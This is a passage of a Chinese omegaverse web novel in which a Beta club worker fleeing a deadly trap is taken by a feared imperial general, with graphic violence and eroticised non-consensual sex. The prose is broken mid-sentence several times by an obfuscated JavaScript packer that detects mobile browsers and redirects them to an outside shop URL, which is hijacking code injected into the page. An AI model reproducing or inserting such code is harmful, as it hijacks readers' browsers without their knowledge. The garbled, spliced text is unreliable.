“瞧您说的,您可是贵客,您一来我们就蓬荜生辉了。”皮克斯殷勤地要给对方介绍介绍俱乐部。 顾承砚不感兴趣地摆摆手,“我是来尝鲜的,不是来听你讲课的。”他意味深长地说:“之前想来,但没机会,现在终于有机会了,你可别给我搞些次货。” 这话旁人听了云里雾里,皮克斯却好像听懂了其中深意,有些惊喜,喜笑颜开连忙说:“顾上将果然是识货的,刚巧我们这儿的货是全银河系最好的!” · 楼上的耿诺原地蹲了半晌,几欲跳出的心脏才重新安稳地落回胸腔,匆匆起身往回走。 那个人竟然看到他了。 隔着这么远的距离,对方居然能察觉到他的存在,准确捕捉到他的具体位置。 甚至在躲避之前就已经和他对视上了…… 好可怕的洞察力。 肯定不好惹,还是离远一点。 “今天是什么人来?老板怎么单独安排人,不是客人自己选?嘶,轻点!会不会上药!” 经过走廊时,突然听到袁冰清的声音,门虚掩着,能听到里面的对话,耿诺放轻脚步。 “这不是老侯爵走了,老板要拉新贵客入伙嘛。” “什么人这么神秘?我听说把所有守卫都调过去了。” “还能是谁……” 袁冰清急了,“你卖什么关子!不想好了是不是!” 对面人哎哟哎哟两声,酝酿许久,愣是没敢说出新贵客的名字,最后支支吾吾道:“你想想老侯爵是折在谁手里的……” 袁冰清倒吸一口凉气,惊诧道:“来的人是帝国上将顾承砚?!” “嘘——嘘!小声点,你怎么敢直呼其名,疯了吗!” 门外的耿诺震惊地捂住嘴,好险没有发出声音。 刚刚那个人就是赫赫有名的顾承砚上将?那他们嘴里的老侯爵就是被顾承砚上将当众绞杀的莱特侯爵…… 他以为顾上将会是一个凶神恶煞满脸刀疤的中年男人,甚至浑身横肉,和星际海盗的形象差不多,没想到居然这么年轻,从远处看不清脸,但那有棱有角的五官想必也不会丑。 “这么大的事你怎么现在才说!”袁冰清尖叫起来,“为什么没人通知我,老板想安排谁去接待?除了我,谁还配接待这样的大人物!” “你冷静一下……只是说安排着备用,万一顾上将想自己选呢,你别急……” 眼见着里面要吵起来,耿诺准备趁乱走开。 “怎么冷静?!你也瞧不起我了?莱特侯爵在的时候最宠爱的就是我,现在他死了,你们觉得我的业绩就不行了?” 耿诺静悄悄地抬脚落步,心说原来把袁冰清宠坏的上一位客人就是臭名昭著的莱特侯爵。 虽说顾上将的风评也好不到哪去,但他干掉了莱特侯爵,也是让民众极为欣慰的一件事。 莱特侯爵生性残暴,荒淫无度,大街上随意打骂平民是常有的事,还经常闹出抢掠圈养俊秀少年的传闻,偏偏他掌管的安普斯集团是帝国远航探测科技尖端产业,也就是说,哪怕皇帝乘坐飞船进行跃迁,都要用到他家的技术。 这便是他无法无天的底气。 相比之下,顾承砚上将的杀戮行为多少还带着点正义性,毕竟他除了在叛乱行星大开杀戒,对帝国贵族也毫不手软。 “我告诉你,就算换了新的金主,你们手里的料也别想比我多。老板都安排了谁?难道安排了那个新来的小贱人?”袁冰清咬牙切齿地问。 耿诺没听懂他口中的“料”是什么,但觉得“新来的”“小贱人”八成是指自己。 “那个贱人只是个Beta,他有什么资格去接待顾上将!”袁冰清似乎已经认定了自己的美差被耿诺抢了,愤恨不已,“皮克斯一开始就打的这个主意对不对,怪不得那个贱人来了这么多天只做普通工作。” 呸!狗眼看人低。 耿诺生气地想。 “你想多了,皮克斯疯了才会拿那种东西招待顾上将。”另一个声音安慰袁冰清,“我打听过了,那个新来的就是个一次性的。” 袁冰清问:“什么一次性的。” 那人换了个揶揄的口吻,暗示意味十足地说:“下个礼拜,波西男爵要在这里举行派对。” 耿诺竖起耳朵,没听懂他们打的哑谜,直觉不是什么好事。 静默两秒,袁冰清“哈”了声,不难听出惊喜之意,幸灾乐祸道:“那他不得被玩死?波西男爵最喜欢带着一群人来,却只点一个人去招待。” “要不怎么说是一次性的呢……哈哈哈......” 再听不懂就是傻子了。 耿诺像被人迎面重锤了一记,满脑子都是“怪不得,怪不得”。 怪不得皮克斯这么轻易地答应放他走,合着只是缓兵之计,他根本没打算让自己活着出去。 难道阮如棠一开始给自己介绍这份工作,就是打着让他死在这里的主意吗?为什么? 他帮他通过了一场考试,对方却要杀人灭口?! 耿诺越想越浑身发冷。 从头到尾都是皮克斯和阮如棠的算计,贵族们的俱乐部里死一两个招待用的底层贫民,这连茶余饭后的八卦都算不上,谁会在意呢。 堂而皇之使得一招请君入瓮,偏偏自己傻了吧唧就真的钻进来了。 这里戒备那样森严,难道他真的要死在这?被那个什么男爵“玩死”? “快帮我把药洗了,别留味,可不能把顾上将留给那个贱人,我得先下手为强……” 后面的话耿诺听不下去了,他想到了一个法子。 这里只有白天有守卫巡逻,而巡逻机没有三班倒的轮替,所有机器同时运作直接实现全覆盖。这很方便,但也有弊端,只要有一台机器出故障,监控范围就回出现缺口。 耿诺没摆弄过这种机器,但想必原理差不多。 巡逻机都在建筑外侧,耿诺拉过一台餐车,用来打掩护极为方便,他像往常一样推着车往酒窖走去。 今天绝大多数守卫都集中精力在顾上将附近,现在是警戒最松的时候,只要捅出一个突破口,就能隐入树林,趁机逃跑。 酒窖正对着俱乐部建筑的侧面,后面就是树林,这里是人迹罕至的地方,只有一台巡逻机。 耿诺走到墙根,故意绊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677852|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下脚,推车一晃,酒瓶摔在地上,碎了。 果然,巡逻机被吸引过来查看情况,耿诺趁机抓住巡逻机,拆开主板。他曾经徒手拆过一个小型机甲,还好,虽然功能不同,但原理是一致的。 在发出警报前,迅速更改控制。 随后恢复原样让巡逻机再次回到上空。 外观看起来没什么两样,实际上,巡逻机系统监控此刻在重复记录耿诺出现前无人踏足的景象。 等到天黑了,这段景象就会暴露了。 时间不多了,耿诺飞快向酒窖后方奔去。 这些天已经习惯了紧致贴身的制服,然而跑起来还是很限制手脚。 “你在做什么?”冷不丁一道声音从身后传来。 耿诺心中一悸,没料到有人会出现在这里,瞬间停住脚步。 “转过来!干什么的?”那人厉声诘问。 耿诺屏着一口气,缓缓转过身。 远处是一个守卫。 巡逻守卫不是都被调去顾承砚身边了吗?他为什么现在会出现在这里?被发现了吗?难道巡逻机发出了警报? 耿诺面色如常,大脑在飞速运转。 是支开他,还是动手? 对方是身强体壮的Alpha,动手他肯定占不到便宜,甚至还会惊动更多人。 耿诺无意间向上看,发现刚刚回到上空的巡逻机竟然始终停留在一个地方不动,霎时间冷汗都要冒出来了。 巡逻机不会长久地停留在一个地方,肯定是刚才的操作出了纰漏,如果被对方察觉,耿诺立刻就会暴露。 怎么办?? 守卫面露狐疑,朝他走近,“问你话呢,在这里做什么?” 耿诺灵机一动,“我,我来取酒。” “取酒你跑什么?” 耿诺佯装难为情地看着守卫:“我……刚刚不小心把酒打碎了,守卫大哥,求求你别告诉老板,我、我刚来,还没有业绩,赔不起的。” “我想着赶紧再去拿一瓶,至少别让客人等着急了。”他垂下头,泫泫欲泣地颤抖,可怜无助地抬眸眨眼,像是害怕极了。 这颤抖背后至少有三分是真实的,耿诺竭力控制自己不要往上看巡逻机,生怕被守卫看出端倪。 他这副模样极具欺骗性,本就俊秀的面庞露出这般哀求神色,纵是在这里见惯了各色服务生的守卫,也难能把持得住。 守卫显然被取悦了,高高在上地恩准,“去吧。” 耿诺只好重新取了酒,放回餐车上。 “那我就先回去了,谢谢你。”耿诺推车离开。 转过身的那一刻,脸色立刻凝重起来。 现在怎么办? “等等。”守卫再次叫住了他。 耿诺脚步一顿。 转身时露出恰到好处的无害神情,“还有什么事吗?” 守卫晃悠悠走到他面前,审视地盯着他,“我刚刚确认过,三层以下的客人没有要酒的,你给谁送酒?” 耿诺脸色一白,“您这是什么意思?” 守卫嗤笑一声,步步逼近,耿诺不得已一直向后退,眼里充了水汽,似乎极畏惧眼前高大的Alpha守卫,也可能是委屈,身子在微微颤抖。 “可是,客人真的在等着我送酒呀。” “哪位客人?”对方不屑一顾。 耿诺低着头,眼睫扫落情绪,深吸一口气,“是顾承砚上将的酒。” 5. 第5章 这话任谁听了也不会信,偏偏耿诺信誓旦旦,“如果不信,您可以跟着我。” 守卫犯起了嘀咕,毕竟不怕一万就怕万一,他可耽搁不起贵客的酒。 “走吧,我跟你去。”他要盯着他。 既然是皮克斯亲自迎接的贵客,自然不会在三层以下,耿诺赌了一把,直接上到五层顶楼,果然外面站着一堆守卫。 推车慢慢走过去,果不其然被拦下了。但耿诺丝毫不慌,他听到包厢里面传来袁冰清的声音,看来对方早就到了。 正合他意。 现在他只要装模作样地表示“本来是要进去服务的,既然被人捷足先登,我就不好打扰了”,然后顺势离开即可。 但在开口前,耿诺又想到,他真能全身而退吗?巡逻机的异常是否会被发现,波西男爵的宴会前他能否找到机会跑掉? 如果,他在被搞死之前,傍上个足以震慑所有人的靠山呢? 袁冰清可以色.诱,他为什么不行? 虽然不想承认,但耿诺也觉得自己比袁冰清好看。如果只靠颜值就能傍上靠山,那他也当仁不让。 心思斗转,耿诺下定了决心。 “我来给顾上将送酒。” 门口的守卫对视一眼,他们没听到指令,半信半疑。 耿诺自然地解释:“老板不放心有些人自作主张,万一得罪了贵客可不好办,所以让我来看看。” 这话让守卫们有点心慌,自作主张的除了袁冰清,还有放他进去的他们,但是…… 其中一个守卫压低声音质疑道:“那怎么会安排你?” 耿诺抿起唇,抚摸着自己的脸,突然不好意思地笑笑,“老板说,我比较好看。” 他柔柔顺顺的笑容看起来还真有些媚态,几个守卫根本无法反驳这个事实,犹豫再三,还是把他放进去。 耿诺推车进入,还没走两步,屋内突然传来一声巨响。 “嘣!” 沉闷的重击。 守卫听见动静急忙冲进来。 耿诺僵在原地,被餐车掩住的双腿在不受控地打颤。 华贵的顶级VIP包厢宽敞的客厅足以站下百人,但此刻屋内仅有寥寥数人,略显空旷。顶灯惨白的光照射在金碧辉煌的内饰上,让人有些晃眼。 耿诺咽了口唾沫,目光虚浮地在空中荡了半圈,最终落在了对面。 几步之外,坐在主位沙发上的顾上将还没把手从袁冰清头上移开。 地上的鲜血远比奢华的金光刺目,还有源源不断的血从桌面滴落,落成一条血线。 但这丝毫没让顾承砚产生丝毫情绪波动。 就算是刚才他薅着袁冰清的头发往桌上砸的时候,表情都是淡淡的。 袁冰清被鲜血遮住了脸,未沾血的皮肤也泛着红,伏在茶几上不断抽搐,不知道还能不能活。 和顾承砚一同来的其他人端坐在沙发上,仿佛对这一幕熟视无睹,最具个人情绪的反应也不过是挥挥手,赶走令人不适的血腥味。 身边其他服务生早已吓个半死。 不知道该说顾上将残暴还是该骂袁冰清蠢,居然想给顾承砚下药! 空气就这样凝滞着,直到顾上将直起身收回手,掸了掸看不见的灰尘,静滞的守卫们才像刚回过神似的,训练有素地过去“拖尸”、擦桌、拖地。 很快,屋内一切恢复原样。 耿诺提着一口气,再不敢有多余的举动,和其他守卫一样,埋头做事。 取下酒在茶几上摆好,全程连头也不敢抬,收回手的瞬间还是暴露了一丝颤抖,迅速握紧拳,后退几步走到餐车旁。 搭上扶手的那一刻,耿诺暗暗松了口气。 转过身,正要推车离开,不远处,男人深沉磁性的声音忽然打破了屋内的寂静。 “你,过来。” 耿诺觉得自己心漏跳了一拍。 谁? 让谁过去? 他背对着顾上将,不敢回头,面上强装镇定,然而旁的守卫依次退出房间,甚至贴心地关上了门。 耿诺绝望地意识到:就是他...... 闭上双眼,战战兢兢地转过身,扯出一个得体的笑容,“客人,您还有什么吩咐吗?” 顾承砚两腿交叠,闲散地靠着沙发,一只手搭在沙发背上,另一只手漫不经心地抬起来,冲他勾了勾手指。 耿诺走到近旁,倾身等候吩咐。 顾承砚这身打扮很休闲,乍看根本想不到这人是帝国上将,更猜不到这人刚刚还薅着别人头发往桌上砸。 但他毕竟不是普通人,气势非凡,浑身上下又被黑色裹挟,整个人透着与这里格格不入的肃杀气息,再夺目的璀璨落到他身上都变得内敛了。 相比之下,旁边几个人更像公子哥,他们有的搂着服务生言语调笑,有的则晃着酒杯细细品味。想来皮克斯也没敢贸然给顾承砚安排人,只是按照几位贵客的需要对应提供服务,袁冰清寻求傍身金主心切,冒然闯过来,结果撞在了枪口上。 自作孽,不可活。 我也一样。耿诺想。 顾上将似乎只是随口叫他过来,甚至没多看他几眼,只是抬了下鞋尖,吩咐:“倒酒。” 耿诺乖顺地启开桌上麦卡伦·银河两万五,倒了半杯,双手捏着古典杯底部,递到顾上将面前。 顾上将维持着方才的姿势,纹丝不动。 为什么不接?我做错了吗? 耿诺生怕下一秒自己也步上袁冰清后尘,单单维持镇定就已经用尽了所有力气。 他悄悄抬眼,撞上一双乌黑深邃的瞳,赶忙又低下头。 这个间隙,顾上将有了动作,但不是接过酒杯,只是换了个姿势。 放下腿,两膝间留下不大不小的空隙。 耿诺盯着那间隙,不知道怎么想的,干脆利落地往他跟前一跪,然后再次将酒举到顾上将面前。 顾上将眉毛挑了一下,眼眸中似乎闪过些微情绪,沉默地看了他两秒,然后接过了酒杯。 耿诺松了口气,有种劫后余生的后怕。 太傻了,他太看得起自己了。皮克斯这样无法无天,才是真的仰仗这群手眼通天的靠山,至于他们……如果刚刚先进来的是他,那么一脸血被拖出去的也是他了。 耿诺可笑又乐观地想:原本他的死期是月底,差点就提前到今天了。 顾上将三指捏着古典杯,在鼻尖嗅了下,轻轻摇晃,打量眼前的服务生,长得倒是乖巧,没想到跪在他跟前还能走神。 他起了歪心思,不动声色地晃晃酒杯,手腕一倾。 耿诺还在暗自盘算,好歹躲过了这茬,一会儿出去想办法把巡逻机的痕迹抹掉,再从长计议…… 还没谋划完,身体先大脑一步激灵。 ——半杯酒尽数浇在他胸前。 耿诺整个人僵住了,茫然地抬头,后知后觉自己高兴地太早了。 黑色制服紧束贴身,看起来规整,实际薄而清透,酒水往上一浇,湿透的前襟顿时就像失去了遮掩,酒液一路下滑,直到和腰腹的皮肤亲密接触,甚至还有向下的趋势。 耿诺提着一口气,不敢乱了呼吸,湿哒哒的衣服黏腻地贴着皮肤,腹部的冰凉触感让他忍不住颤栗。 落在顾承砚眼中,倒是一副好光景。 他饶有兴致地将酒杯递了回去,薄唇轻吐出两个字:“再倒。” 耿诺惴惴接过酒杯,抿着唇,羞耻又畏惧,只是畏惧更占上风,他手指用力攥着杯身,防止因为害怕而哆嗦,维持着跪姿,侧身拿起桌上的酒瓶往杯里倒。 他甚至不敢完全背过身,生怕对方借他转身的空隙,也把他的头砸向茶几。 这次递过去后,顾承砚依旧没喝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677853|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在手里把玩似的。 耿诺的眼睛就没离开他的手,不知道下一秒又会从哪里浇下来。 但就算知道,他也不敢躲,只能眼睁睁地看着对方动作。 像只受惊的小狗,湿漉漉、无能为力地警惕着。 顾承砚看得有趣,故意将酒杯移到身侧。 果然,耿诺跟着看过来。 酒杯缓慢抬到嘴边,耿诺的视线也随之上移,穿过琥珀色的杯底,落在男人的唇上,然后,不经意地又与他对视。 耿诺仓皇低头的瞬间,顾承砚抿了口酒。焦糖色没有带来回甘,空余酸苦,他把酒放在一旁,从身上掏出一个乌金木盒,拇指轻撬,盒盖掀开,是一盒雪茄。 顾承砚问:“会点吗?” 耿诺点点头,贵客们都爱抽名贵的雪茄,这几天他也学过如何为客人点雪茄。 茶几上备好了工具,耿诺抽出一根雪茄,剪下茄帽,靠近火机外焰缓慢旋转,看着摇曳的火焰和逐渐变黑的雪茄边缘。 双重炽热落在他身上。 雪茄成功点燃,炽热仍未消散,耿诺在空中小幅度地挥了挥,他知道,顾上将正惬意地、戏弄地看着他,欣赏他惴惴不安的垂死挣扎。 他像是笼中困兽,唯一的希冀是对方玩累了给他个痛快。 耿诺觉得他今天也走不出这道门了,这让他起了逆反心思。 你想杀我吗? 想看我惊恐万分的模样吗? 我会衬你的意? 袁冰清是怎么得罪你的?媚俗勾引,还是谄言献色? 我也会。 耿诺垂着眼睫,整个人放松下来,把雪茄叼到自己嘴里。 第一口气要向外吹,去除杂气。 耿诺代劳了。 直到此刻,身旁的男人都没有任何反应。 可能是默许,也可能是欣赏猎物的垂死挣扎。 耿诺抬起头,这次他没有躲避,径直对上男人的目光。 四目相对,耿诺缓缓直起上身,两手扶在男人的膝上,Alpha的体温非同寻常,耿诺手瑟缩了下,又飞快平摊开来。高级布料下是坚硬的腿部肌肉,顾承砚被他手上的小动作弄得有些痒。 耿诺轻咬着雪茄,用舌抵住将它缓慢顶出来,茄身缓慢拨弄嘴唇,很快,雪茄从口中转移到指间,红嫩舌尖一闪而过。 他依旧注视着他。 雪茄转了个方向,耿诺恭敬呈送到顾上将唇边,对方居高临下地睨了他一眼,这次竟然很爽快,侧头借着他的手把雪茄含进嘴里。 直到将雪茄递出去,耿诺指间才敢露了些颤意,收回手轻轻搭在男人膝上,温顺地跪坐在他脚边。 顾承砚两指捏着雪茄,深吸一口,突然钳住耿诺的下巴,将人拖到近前。 耿诺被对方突如其来的举动惊得心都漏跳一拍。只一个瞬间,他便膝盖离地,没了支撑,手虚无地挥舞,抓了两把空气,慌乱间只能攥着顾承砚腰侧的衬衫保持平衡。 两人贴得那样近,耿诺竭力压抑自己的呼吸,仍旧控制不住胸口的起伏,惶然地仰视着对方。 顾上将幽深瞳孔中映出威严的审视,耿诺觉得自己就要被卷入漩涡之中,他半仰着头,眼睫颤了颤,似乎猜到了对方想做什么。 沉默对视,耿诺维持着这个献祭般的姿势,下定决心般,微微张开了嘴。 与此同时,顾承砚轻轻吐出含住的那口烟。 青烟袅袅,拂面而来,只有一部分扫过耿诺白净的脸颊,剩下的都被顾承砚当空渡给了他。 耿诺不会吸烟,也没吸过如此近距离的“二手烟”,辛辣的烟熏直蹿鼻孔喉咙,顾承砚吐完烟,他便再也忍不住,扭过头失力地伏在顾承砚腿上,捂着嘴猛咳,眼泪都呛了出来。 他没看到,上方的顾承砚眼底闪过一丝猩红,勾起唇角,隐藏着野兽般的兴奋笑意。 6. 第6章 顾承砚按灭了雪茄,抬手轻抚耿诺的脸颊。 “好孩子。” “叫什么名字?” “耿、耿诺。” 顾上将似乎并不在意他的回答,拿起刚刚没喝完的酒,一口饮尽。 手掌移向耿诺后脑,抓住头发,让他不得不再次面对自己,毫不犹豫地贴住他的嘴唇。 耿诺毫无防备,大脑已经无法思考,也顾不得其他,两手无力地拍打对方胸膛。然而顾承砚毫不费力便撬开了他的嘴,将酒尽数渡过去。 烈酒不亚于雪茄的辛辣再次将耿诺淹没,他想把酒推出去,却顶到了更粗热的舌头,对方长驱直入,竟让他打开喉咙,乖乖咽下苦酒,仅有几滴来不及吞下,沿着嘴角滑落。 他被呛到,想呼吸,想咳嗽,却只能卑微地攫取对方输送来的稀薄空气,过了会儿,竟然就这么平复了辛辣与干咳。 一切都化为最原始的身体反应。 唇舌分开时牵出一丝涎液,顾承砚抓着耿诺后脑的手缓缓移向他的脸颊,宽厚大掌托住他的下颌。 耿诺气喘吁吁,薄如蝉翼的半拉制服毫无遮掩地展示他呼吸的起伏。 他到处都是红的,眼眶一片薄红,沁出泪珠,脸颊因憋闷涨得通红,连脖子都染上了绯色,更别说再往下那些裸露的肌肤。不过最红的还是嘴唇,微微张着,隐约还能看到点舌尖,湿润晶莹的,极为诱人。 顾承砚满意地看着这份杰作。 方才耿诺含着雪茄时,他就觉得唇湿润些好看。 果然不错。 耿诺脱力到无暇思考,直到听见旁边传来揶揄打趣的口哨,才逐渐回神,随之而来的是无尽的羞耻。偏偏头还掌控在顾上将手里,想低头的动作更像是想往对方手心里贴似的。 脸更红了,简直熟透了。 顾承砚盯着他的脸,眼底兴味之意毫不掩饰,手往旁边一挥,做了个撵人的动作,其他人十分识趣地出去找别的包厢玩乐去了。 屋里只剩下他们两人。 耿诺被抬着下巴,眼睛却拼命垂着,眼睫翕张,始终不敢再与顾承砚对视。 关门的瞬间,他听到门口传来皮克斯焦急赶来的动静,尽管压抑着音量,还是能听到他只言片语里的慌张。 耿诺依稀听到最后一句:“皮克斯老板,你怕什么呀,顾上将现在正满意着呢……” 屋外,一个身长挺立的男人随手拨开凑过来的服务生,嫌弃地皱起眉,“离我远点,一身味儿。”刚刚这人一直独自喝酒,不像其他三个左拥右抱,他朝皮克斯抬抬下巴,“皮老板,顾上将估计有得忙了,你给我们再找点乐子呗?” 皮克斯不知道这人身份,见其他三人也都听这人的话,只好带他们离开。 很快,屋内听不到外面的动静,只剩下两人近在咫尺的呼吸声,耿诺几乎挂在顾上将身上,而对方正盯着他。 还活着吗? 活着。 但是耿诺也不知道接下来该做什么。 很快他就不用操心了。 “你比刚才那个识趣一点。”顾承砚捏捏他的脸颊和下巴,像在打量一个商品,下一秒,揽着他的腰,直接单手把人抱起来。 耿诺惊呼一声,刚刚顾承砚一直坐着,也没觉得两人体型差有多大,谁知这人单手就能让他双腿离地。 悬空的耿诺都没能比对方高多少。 耿诺:“……” 要是平时,他肯定要怨念一番该死的Alpha天性特质,但此刻,他全身上下只有腰上一道禁锢作为支撑,湿透的前襟紧贴着顾承砚胸膛。 耿诺很害怕,只能虚虚环着对方的脖颈。 顾承砚钳着他往里走,包厢里间是一套占地超过三百平的卧室套房,耿诺都没看清屋里的内饰,就被摔在床上。 他在巨大的软床上颠了两下,稳住身体,顾承砚低头看了眼前胸衬衫的水渍,“啧”一声。 耿诺缩着脖子,这又不能怪他。 “脖子上挂的什么东西。”顾承砚瞥了眼。 耿诺低头一看,玻璃瓶项链不知道什么时候荡了出来,可能硌到了对方,他急忙塞进衣领,挪到床头中央蜷缩着。 卧室门已经关上,里面的声音传不出去,外面的声音进不来,顾承砚如果在这杀了他,别说他惨死的消息能不能传到外面,就连一声惨叫能不能钻出这道门都有待商榷。 他会怎么折磨他? 耿诺脑子里无端开始神游。 他为什么选我不选Omega?难道是有特殊的癖好?曾经捡到的一本书里就写过——有些Alpha天生怪癖,违逆人伦,对Beta情有独钟,恨不得将其拆吃入腹? 拆吃入腹? 他难道喜欢吃人?! 也不是不可能,毕竟帝国上将顾承砚先生声名远扬……扬的恶名。 说他吃人耿诺真的会信。 顾上将好像也只是随口一问,没想听他回答,利落地脱下衬衫,随手扔在一边,赤裸上身在屋里走来走去,翻找着什么。 耿诺偎在床头双手抱膝,紧张地盯着来回走动的顾承砚,像只待宰的雏鸡。 这样无言的沉寂简直是一种煎熬,耿诺的勇气用光了,方才叛逆的视死如归在他被扔在床上的那一刻一起碎成渣渣了。 他害怕得红了眼眶。 顾承砚在床头抽屉里找到了他想要的东西。 是一个方片塑料包。 他蹙眉端详半晌,似乎有些不满。 耿诺看清后瞪大了眼,瞳孔轻颤,不动声色地往床的另一侧挪。 他当然知道那是什么。 不……顾上将想干什么?! 耿诺一直在忧心小命不保,没想到最先保不住的貌似是屁股?! 扯淡!Beta又不是承受方,Beta怎么能和Alpha做那种事! 银河纪元以来,人类共有三种性别,世俗的家庭关系以AO,BO,BB为主,AO是常态;Beta没有孕育能力,但可以让Omega怀孕;BB结合不会有后代,大家更像是光棍搭伙过日子。 AB的关系则仅存于上流贵族们稀奇古怪的流言之中,但那毕竟是少数,和他们底层老百姓没有半卢克的关系。 顾承砚上将出身底层,难道也染上了日Beta的怪癖? 不会的不会的。耿诺安慰自己,Beta有什么好日的。 ......万一他真有呢? 等等。 耿诺猛然想起何飞对他的评价。 他外表看起来一点也不像Beta,从小到大很多人都把他当成Omega,如果他不主动告知,很容易让人误会。 也许顾上将也误会了呢。 他不是Omega,他是Beta! 哪有Alpha愿意上一个Beta呢,只要告诉他实情,说不定…… 说不定什么? 他会不会感觉受到欺骗,大发雷霆,必须杀了自己才能解气? 想到这种可能,耿诺惊悚起来。 要不还是被日吧,Beta被日有什么大不了的,Beta本来就是…… 是个屁! 顾承砚盯着那小方片思忖良久,表情有些勉为其难,余光一瞥,耿诺缩头缩脑像个鹌鹑,脸也埋在了腿间。 这会儿装什么纯良。 顾承砚没心思和对方玩什么欲擒故纵的把戏,直接释放信息素压制。 “我可不是什么投名状都接的。”顾承砚看着他,说了句莫名其妙的话。 耿诺对此一脸茫然,就像他对顾承砚的信息素毫无反应一样。 顾承砚思索,有什么手段能让他们对信息素免疫吗?他甚至也闻不到这个小服务生的气味。 “你的信息素很淡吗?”顾承砚走到床边,脱下外套搭在一旁的沙发上,审视的目光带着不敢直视的压迫感,冷淡道:“如果释放不出来,那就别让我闻到半点异味。” 你看!他就是把我当成Omega了! 耿诺眼巴眼望地抬头,嘴唇翕动。 “我,我……”我没有信息素。 这话能说吗? 顾承砚半眯着眼,“刚才不是挺能耐的,现在装什么?” 他不打算再闲扯下去,用牙撕咬开包装,单腿跪上床边。 Alpha高大的身躯逼近,耿诺心理防线彻底崩溃,“等等!” 他接受不了,他一个Beta…… 对了,小道新闻似乎听说过顾上将不近O色,说不定他就是不喜欢Omega才对袁冰清那么狠。 但我是Beta。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我是Beta!”耿诺拼命喊道,两条小细腿扑棱着乱蹬,“我没做过这种事,Beta怎么能跟Alpha做这种事!” “啪!” 屁股上挨了一巴掌,皮肤浮起绯色,耿诺的喊叫声立刻变为哽咽。 小道消息说他不近O色,怎么没说他喜欢日Beta啊,早知道不说了呜呜呜。 Beta都是玩这套吗?刚刚在人前花枝招展的,现在又装起雏儿了。顾承砚看他生涩的样子还演得挺真。 视线上移,右边腰臀连接处一片暧昧不明的淤痕映入眼帘,顾承砚眼眸一沉,多了几分凉意。 “没做过这种事?”俯身摩挲那道淤青,用力按了按,冷哼:“那这个呢?在谁床上留下的?” 耿诺因疼痛呜咽了声,泪眼婆娑地侧过身,看到自己屁股上方的淤青,回忆了下,应该是被袁冰清推到楼梯扶手上时留下的。 位置特殊,刚好能被衣服遮盖住。 “不是,这是……” 没等他解释,顾承砚又将人扭了回去,大掌覆在那个位置,将将印在青紫处,为自己的猜测添了些实证,嗤一声:“看来你更喜欢从后面?” “……” 他怎么都不听人说话。 事实上,在这之后,顾承砚不仅不听他说话,还让他连话都说不出来。 耿诺在半梦半醒间沉沦,哭得没了力气,只能扒着顾承砚的肩膀像玩偶一样任其摆弄。 发起狠来最多也就是在顾承砚肩膀上咬一口。 顾承砚“嘶”一声,掰开他的嘴,摸到两颗小尖牙,“再咬,给你牙拔了。” 耿诺张着嘴,呜呜说不出话。 顾承砚松开手,舌头探进去□□那两颗尖牙,耿诺仰着头,牙尖有强势却柔软的触感,不敢咬,委屈的泪珠无声往下落。 这又激起顾承砚的性致。 耿诺快恍惚了,脖子上挂的小玻璃瓶反复晃荡,在两人紧紧相贴时硌出红痕,不过和顾承砚留下的唇痕指印相比,简直细微到无法察觉。 这一夜就这么过去了。 7. 第7章 天蒙蒙亮时,耿诺趴在床上,仍触不到实感,总觉得在大海上摇晃,浑身上下连手指都无力动弹。 顾承砚洗完澡,穿着浴衣坐在床边,床垫塌下一片,这点动静也让耿诺条件反射一个激灵。 眼皮微颤,半睁不睁地露出哀求的神色。 顾承砚伸出大掌揉了揉耿诺被汗水沁得半湿的头发,眼神却不怎么柔和,充满了冰冷的审视,他一掌就能盖住耿诺的头,用些力恐怕能直接把脑壳捏碎。 但耿诺丝毫没有察觉到危险,朦胧中还往掌心蹭了蹭。 顾承砚的表情有些微妙,眯起眼,“皮克斯倒是会送投名状,还来了个欲扬先抑,一个不行,立刻送来另一个。” 耿诺迷迷糊糊听到这话,很不服气地微弱反驳:“我自己来的。” 听到这个回答,顾承砚眉梢一挑,看来是有所图的,跟皮克斯毛遂自荐之后,一拍即合? 但他此刻倒是很想听听。 “你想要什么?” 耿诺已经陷入梦境,梦里有个清丽俊秀的Omega温柔地抚摸着他的头,像他的父亲一样,轻轻柔柔地问他想要什么。 他嘴唇翕张几次,喃喃道:“钱……” 说完又有点后悔,如果不缺钱的话,他更想向这个Omega求婚。 顾承砚听了,眉头微蹙,瞬间没了兴致。 起身换衣服准备走人。 临到门口,他又折回来,站在床边居高临下地看向耿诺。 威严的目光一寸一寸扫过他的后背,到处都是他亲自留下的痕迹,腰侧的淤痕被更重的痕迹覆盖,大腿内侧也留下青紫齿印,看不见的另一侧景色更加迷人。顾承砚眼眸深沉,睨了片刻,低声召唤:“弗兰。” 智能光脑弗兰飞速闪现,此刻维持着一个铁蛋的造型,身上插着两个小翅膀,也不知道之前隐蔽在什么角落。 顾承砚伸手,“拿点现金。” 没说具体数额,就要靠弗兰自己悟,铁蛋上的大眼睛闪了闪,更换形态,化为一个扁扁的长方形铁盒,缓缓吐出二十张银河法钞。 